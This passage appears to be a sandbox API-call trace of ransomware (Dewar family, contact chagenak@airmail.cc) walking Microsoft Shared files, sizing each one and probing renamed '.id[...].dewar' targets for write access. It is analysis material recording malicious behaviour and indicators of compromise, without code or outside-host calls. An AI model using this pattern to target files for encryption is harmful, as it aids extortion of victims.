0xffffffff [0216.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.519] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=280448) returned 1 [0216.519] CloseHandle (hObject=0x1c4) returned 1 [0216.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0216.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0216.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0217.292] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3584) returned 1 [0217.293] CloseHandle (hObject=0x1c4) returned 1 [0217.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0217.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0217.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0217.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0217.692] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4096) returned 1 [0217.692] CloseHandle (hObject=0x1d8) returned 1 [0217.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0217.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0217.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0217.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.128] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=31744) returned 1 [0218.129] CloseHandle (hObject=0x1c8) returned 1 [0218.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0218.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0218.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.132] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2560) returned 1 [0218.132] CloseHandle (hObject=0x1c8) returned 1 [0218.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0218.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0218.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.133] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=22528) returned 1 [0218.133] CloseHandle (hObject=0x1c8) returned 1 [0218.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0218.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0218.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.135] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2560) returned 1 [0218.135] CloseHandle (hObject=0x1c8) returned 1 [0218.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0218.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0218.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.137] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=222208) returned 1 [0218.137] CloseHandle (hObject=0x1c8) returned 1 [0218.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0218.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0218.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.140] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8704) returned 1 [0218.140] CloseHandle (hObject=0x1c8) returned 1 [0218.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0218.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0218.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.142] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=10240) returned 1 [0218.142] CloseHandle (hObject=0x1c8) returned 1 [0218.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0218.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0218.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.145] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2560) returned 1 [0218.145] CloseHandle (hObject=0x1c8) returned 1 [0218.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0218.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0218.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.149] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2560) returned 1 [0218.149] CloseHandle (hObject=0x1c8) returned 1 [0218.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0218.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0218.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.151] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=43520) returned 1 [0218.151] CloseHandle (hObject=0x1c8) returned 1 [0218.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0218.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0218.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.152] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=194048) returned 1 [0218.153] CloseHandle (hObject=0x1c8) returned 1 [0218.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0218.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0218.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.158] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3072) returned 1 [0218.158] CloseHandle (hObject=0x1c8) returned 1 [0218.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0218.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0218.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0218.161] 